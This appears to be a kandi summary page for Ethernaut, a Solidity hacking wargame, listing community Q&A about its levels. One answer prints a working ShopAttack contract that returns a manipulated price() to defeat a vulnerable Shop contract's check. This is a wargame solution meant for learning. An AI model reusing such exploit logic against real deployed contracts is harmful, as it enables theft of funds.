ethernaut | Web3/Solidity based wargame | Blockchain library
kandi X-RAY | ethernaut Summary
kandi X-RAY | ethernaut Summary
Ethernaut is a Web3/Solidity based wargame inspired in overthewire.org, to be played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. The game acts both as a tool for those interested in learning ethereum, and as a way to catalogue historical hacks in levels. Levels can be infinite and the game does not require to be played in any particular order.
Support
Quality
Security
License
Reuse
Top functions reviewed by kandi - BETA
- Interpolate console logger
- Function to register a new swagger page
- Register new service worker
- Checks the service worker and reloads it if needed
- setup window . env
- Remove arguments and build an array
- Submit a level test to the level .
- Inverts a color given a hex color value .
- check for new network
- Find the next deployed address in a list .
ethernaut Key Features
ethernaut Examples and Code Snippets
Community Discussions
Trending Discussions on ethernaut
QUESTION
I am working through the ethernaut challenge re-entrancy: https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D I think I have hit tunnel vision as I keep getting this error on remix and I really don't know why:
...ANSWER
Answered 2022-Feb-16 at 13:49(code from Ethernaut re-entrance level. I only changed math.sol import)
QUESTION
I can not find any information about this expression in docs. There is the following code on Ehternaut Re-entrancy task .
...ANSWER
Answered 2022-Jan-19 at 10:29if(result) {
_amount;
}
QUESTION
This would be the code, but my problem is, I was doing the ethernaut challenge for solidity, and my code is always running out of gas, then I think "if I use assembly it cost less gas", so I ran into a problem, it is possible to call a function getter from another contract in assembly?
This is my code:
...ANSWER
Answered 2021-Apr-30 at 15:31pragma solidity ^0.6;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price.gas(3000)() >= price && !isSold) {
isSold = true;
price = _buyer.price.gas(3000)();
}
}
}
contract ShopAttack {
function price() external view returns (uint) {
bool isSold = Shop(msg.sender).isSold();
assembly {
let result
switch isSold
case 1 {
result := 99
}
default {
result := 100
}
mstore(0x0, result)
return(0x0, 32)
}
}
function attack(Shop _victim) external {
Shop(_victim).buy();
}
}
Community Discussions, Code Snippets contain sources that include Stack Exchange Network
Vulnerabilities
No vulnerabilities reported
Install ethernaut
Support
Reuse Trending Solutions
Find, review, and download reusable Libraries, Code Snippets, Cloud APIs from over 650 million Knowledge Items
Find more librariesStay Updated
Subscribe to our newsletter for trending solutions and developer bootcamps
Share this Page